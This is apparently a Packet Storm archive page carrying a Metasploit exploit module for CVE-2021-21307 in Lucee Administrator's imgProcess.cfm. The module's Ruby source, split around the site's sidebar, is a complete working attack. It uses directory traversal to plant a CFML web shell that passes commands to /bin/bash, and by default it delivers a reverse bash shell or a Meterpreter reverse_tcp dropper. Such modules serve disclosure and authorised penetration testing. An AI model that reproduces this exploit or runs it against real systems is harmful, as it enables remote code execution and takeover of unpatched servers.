Lucee Administrator imgProcess.cfm Arbitrary File Write

Authored by wvu, iamnoooob, rootxharsh | Site metasploit.com

Posted Aug 17, 2021

This Metasploit module exploits an arbitrary file write in Lucee Administrator's imgProcess.cfm file to execute commands as the Tomcat user.

tags | exploit, arbitrary
advisories | CVE-2021-21307
SHA-256 | b2e56cd428c174bc04f6acc23c21f34ae6d9df79b2c9d12ca9619993ff6fa4b9

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',
        'Description' => %q{
          This module exploits an arbitrary file write in Lucee Administrator's
          imgProcess.cfm file to execute commands as the Tomcat user.
        },
        'Author' => [
          'rootxharsh', # Discovery and PoC
          'iamnoooob', # Discovery and PoC
          'wvu' # Exploit
        ],
        'References' => [
          ['CVE', '2021-21307'],
          ['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],
          ['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],
          ['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']
        ],
        'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'], # TODO: Windows?
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false, # Tomcat user
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8888
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # /opt/lucee/server/lucee-server/context/logs/application.log
            # /opt/lucee/web/logs/exception.log
            IOC_IN_LOGS,
            # /opt/lucee/web/temp/admin-ext-thumbnails/__/
            # /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/lucee'])
    ])

    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])
  end

  def check
    # NOTE: This doesn't actually write a file
    res = write_file(rand_text_alphanumeric(8..16), nil)

    return CheckCode::Unknown unless res

    unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist")
      return CheckCode::Safe
    end

    CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')
  end

  def exploit
    print_status("Writing CFML stub: #{full_uri(cfml_uri)}")

    unless write_cfml_stub
      fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')
    end

    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def write_cfml_stub
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 180 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 10 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,733)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,924)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,601)
Encryption (2,349)
Exploit (50,358)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (820)
Kernel (6,290)
Local (14,201)
Magazine (586)
Overflow (12,418)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,043)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,776)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,294)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,448)
Slackware (941)
Solaris (1,607)

```
    # XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/
    res = write_file('/.', '')

    # Leak directory traversal base path from 500 response
    unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body
      return false
    end

    register_dir_for_cleanup(base_path)

    cfml_path = "/../../../context/#{cfml_filename}"

    res = write_file(cfml_path, cfml_stub)

    return false unless res&.code == 200

    register_file_for_cleanup(normalize_uri(base_path, cfml_path))

    true
  end

  def execute_command(cmd, _opts = {})
    vprint_status(cmd)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => cfml_uri,
      'vars_post' => {
        cfml_param => cmd
      }
    }, datastore['CmdExecTimeout'])

    return unless res

    fail_with(Failure::PayloadFailed, cmd) unless res.code == 200

    vprint_line(res.body)
  end

  def write_file(name, contents)
    opts = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')
    }

    opts['vars_get'] = { 'file' => name } if name
    opts['vars_post'] = { 'imgSrc' => contents } if contents

    send_request_cgi(opts)
  end

  def cfml_stub
    # https://cfdocs.org/cfscript
    # https://cfdocs.org/cfexecute
    <<~CFML.gsub(/^\s+/, '').tr("\n", '')
      <cfscript>
        cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]);
      </cfscript>
    CFML
  end

  def cfml_uri
    normalize_uri(target_uri.path, cfml_filename)
  end

  def cfml_param
    @cfml_param ||= rand_text_alphanumeric(8..16)
  end

  def cfml_filename
    @cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm"
  end

end
```

Spoof (2,166)
SQL Injection (16,101)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,132)
Web (9,357)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,158)
UnixWare (185)
Windows (6,511)
Other

Login or Register to add favorites

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed